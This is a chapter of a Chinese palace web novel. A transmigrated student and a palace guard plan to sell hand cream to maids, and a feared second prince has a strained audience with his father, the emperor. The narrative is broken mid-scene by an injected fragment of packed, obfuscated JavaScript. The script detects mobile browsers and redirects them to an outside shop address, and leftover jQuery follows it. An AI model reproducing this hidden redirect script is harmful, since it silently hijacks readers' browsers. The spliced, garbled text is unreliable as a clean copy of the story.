听她这样说,李黎瞬间感觉这件事能成的概率占了一大半。
瞬间狗狗祟祟地朝着石婉晴靠近了些许。
特意压低声音道:“我这里有个绝妙的点子,保证我们可以赚的盆满钵满,你想不想听?”
石婉晴震惊,而后点头如捣蒜。
银子人人爱,就连暗卫也不例外。
李黎的嘴角微微勾起,拉着她来到桌前坐下。
宝贝似的将石碗移过来。
石婉晴瞬间秒懂,“你是说,我们卖这个?”
李黎露出一抹“孺子可教”的眼神来,嘻嘻一笑,“婉晴,恭喜你,都会抢答了!”
石婉晴指着石碗道:“这是不是太过草率了?”
李黎歪了歪头,“草率吗?婉晴同志,历史的经验告诉我们,想发财就必须要有超强的行动力,要不然一切想法都是土鸡瓦狗!
况且,这款护手霜你也亲自实验过了,你就说它的效果好不好吧?”
闻言,石婉晴点头如捣蒜,“好,前所未有的好!”
李黎一拍掌,“那不就得了,好产品当然要分享给懂它的人,需要它的人,我们只不过顺便赚点儿碎银子而已。”
石婉晴双眼迷茫。
是这样吗?
李黎深知打铁还需趁热,“而且,在这深宫中,有多少宫女和你一样,因为常年劳作,手都变粗糙了,我们这是在帮她们,这是在做好事儿啊!”
不得不说,李黎讲起大道理来一套一套的,石婉晴从刚刚的迷茫逐渐变得坚定。
“对,你说的没错,这桩买卖,干了!”
李黎高兴的翘起嘴角。
内心忍不住摆出剪刀手,耶!成了!
对于做生意,石婉晴是一个新的不能再新的新手,毕竟从古至今,士农工商,商人的地位最低,她向来看不上,也更没时间做这些。
现在的她纯纯是个门外汉,对着李黎忍不住问道:“这个……李黎,那我们一次卖多少?还有卖多少两银子才合适?”
闻言,李黎嘴角的笑意顿时僵在脸上。
呃……她能说她还没想那么多吗?
看着石婉晴期待的目光,李黎思考了一会儿便说道:“我们就用装胭脂的陶瓷罐来放护手霜,至于价格嘛,我们就定一两银子好了!”
石婉晴看着李黎欲言又止,“一两?是不是稍微有点儿贵?那些个宫女有的月例不过才五百文而已。”
李黎看了她一眼,伸出一根食指左右摆了摆,“nonono,这你就不懂了吧?
如果东西卖的太过便宜,一方面常年跟着后宫各位娘娘见过好东西的宫女们根本就看不上眼;另一方面,一两银子她们省吃俭用点儿还是能买得起的。
而且,对于消费者,呃……也就是买东西的人来说,花了大价钱,才更显得弥足珍贵,再加上效果好,不愁没有销路。”
石婉晴沉默,她突然发现自己以前好像是个冤大头。
暗卫天天风里来雨里去的,她经常一发饷银,就去买些漂亮衣服,原来那些开商铺的老板们都是存了这样的心思。
奸商!奸商啊!
李黎的手在她眼前挥了挥,“婉晴?婉晴?”
石婉晴顿时回过神来,“嗯?”
李黎略带几分疑惑,“你刚刚想什么呢?你觉得我说的有道理吗?”
石婉晴下意识点头,吸了吸鼻子,“有……有道理,那就按你说的来吧!”
现在的石婉晴对李黎还真有些刮目相看,没想到她竟然懂得这么多,她有点儿相信眼前之人是国师谶言中的天命之人了。
李黎点了点头。
“嘻嘻,那就先这样定了,至于利润吗?”
说着,李黎脸上带了几分不好意思。
进了一趟惩戒司,她身上的银两全都被榨干了,一文钱都没有了。
唯一有价值的就是脖子上的金项链,但她是万万不会拿出来的。
“婉晴,你看哈,我也只是说了一个方子,实话和你说,嗯……我现在身上一文钱都没有了,我就不出物料那些银子了,不如我就少分点儿,你八我二怎么样?”
石婉晴当即摇头,“不可。”
“啊?那你九我一也可以。”
见石婉晴不同意,李黎决定自己再退一步。
对着李黎,石婉晴也有点儿无奈了,这个傻姑娘,哪里有自己让利的,还往小了说,怎么一会儿聪明一会儿傻笨的。
要是有个现代人知道她心中所想,一定会摆摆手,根本不甚稀奇,现代大学生,主打着就是清澈中又带着些愚蠢。
石婉晴连忙解释,“不,李黎你误会了,我是说你只分两成太少了。
你出了方子,又帮忙出谋划策,应该和我平分。”
李黎闻言,惊讶地张大了小嘴。
“可,我也只是动了动嘴皮子,就分走你一半利润,这……这不太好吧!”
石婉晴闻言,抓住李黎的手,“才不会,要是没有你,这个护手霜根本就做不出来,好了,就这样说定了。
对了,我现在就去准备,你就等着分钱吧!”
说着,生怕李黎拒绝,端起桌上的石碗就快步走了出去。
李黎伸着尔康手,根本来不及叫住她。
看着她的背影消失在拐角,伸出的手才放下。
“真是的,这妮子,跑的是真快啊!”
——
离去的石婉晴,转角就碰上二皇子刘惇带着他的手下路过东元殿门口。
只见他面容桀骜,身高八尺。
一身黑色云锦,上面绣着云朵样式的金丝边,长发直垂到腰肌,稍一走动,独属于男性的荷尔蒙便扑面而来,属于那种又帅又有型的。
可惜,这些都被他凶残的气质所遮掩住了。
石婉晴连忙躬身行礼,“参见二皇子。”
刘惇眼神凌厉地扫了她一眼,昂首挺胸快步走过。
看着他们走远,石婉晴才直起身子。
擦了擦额头上渗出的冷汗。
不愧是闻名朝野上下的杀神,单单一个眼神,就让身为暗卫的她感受到了前所未有的压力。
不行,从今以后,见到二皇子,她一定有多远就躲多远。
石婉晴心中下定决心,定了定心神才去干自己的事情。
阿四跟在刘惇身后,对着刘惇道:“主子,刚刚的那个宫女是个练家子。”
刘惇神色冷峻,道:“皇宫之内,什么稀奇事儿没有,不必大惊小怪。”
阿四心中一紧,连忙垂头应答一声,“是,主子!”
此刻的乾元殿。
刘景盯着桌上摊开的奏折,眼中泛起一丝无奈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024923|194355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>又是痛批刘惇滥杀成性的折子,同样的内容他看了没有一千,也有八百了,这些人是闲得蛋疼吗,怎么总盯着刘惇不放?
刘惇是他的亲儿子,他对他生来有愧,他现在变成这样,有很大的原因是和他有关。
要他处罚刘惇,他真的做不到,更何况刘惇刚刚立下大功。
正在这时,刘盛轻手轻脚的走了进来。
对着他禀报道:“启禀陛下,二皇子在外求见。”
刘景顿时回过神来,下意识将桌上的奏折给合上。
嘴角浮现出一丝笑意,“哦?是吗,还不快请他进来!”
“是。”
刘盛当即应了一声。
凌云殿门口。
面对着气质杀伐的刘惇,刘盛面不改色心不跳,抬手道:“殿下,陛下有请。”
刘惇朝他轻点一下头,就迈步走了进去,留下阿四守在门口。
一看到他高大的身影,刘景的嘴角就翘得更高了。
“惇儿,回来了啊!”
刘惇抬手抱拳,“父皇安好!”
刘景看着他,不能更满意了。
“又长高了些,我们自家父子,就不用如此多礼了,来来来,快坐吧!”
刘惇将手放下,神情不变,道:“不用了,父皇,您有什么话就直说吧,儿臣定当洗耳恭听。”
刘景嘴角的笑意慢慢消失不见,眉头紧蹙,“惇儿,难道我们父子之间就非得弄这么僵吗?”
刘惇的目光移到他的脸上,“父皇,如果您没有别的事,儿臣就先行告退了!”
刘景的手慢慢收紧,“别,惇儿,你打败了罗刹国,并将整个罗刹国并入乾元版图,此战你有功,可有什么想要的?”
刘惇淡然应道:“多谢父皇好意,不过儿臣什么都不缺,而且此次胜仗,也不全是儿臣一个人的功劳。”
刘景无奈,每次面对刘惇,他就不知该如何是好,教训也不是,夸奖也不是。
整个乾元殿瞬间冷寂下来。
沉默良久,刘景最终摆了摆手,放过刘惇,也是放过自己。
“罢了,一路赶回上阳,你辛苦了,今天就先到这里,你回府休息去吧!”
刘惇抱了一下拳,便转身离开。
就听身后刘景的声音继续传来,“对了,刚回来,少造点儿杀戮。”
刘惇脚步一顿,“嗯”了一声,大步离去,也不知听没听进去。
“主子?”
见到他出来,阿四转过头。
“走吧,回府。”
“是。”
刘盛看着主仆二人走远,才走进凌云殿。
正批奏折的刘景听到声音,抬了抬眼皮。
“那臭小子走了?”
“是,陛下,二皇子已经离开了!”
刘盛躬着身子答道。
刘景将手中的红色批笔放下,“刘盛,你说,难道他这辈子都原谅不了朕了吗?”
看着刘景发红的眼角,刘盛的情绪也跟着垂落下去。
如果可以,他也想说能,可兰嫔的死确确实实是扎在二皇子刘惇心中的一根刺。
眼睁睁地看着自己母妃惨死在自己眼前,自己却是什么都做不了。
还因为没人护着,年纪小,在冷宫中受尽屈辱,他都不知道当时的二皇子是怎么熬过来的,唉!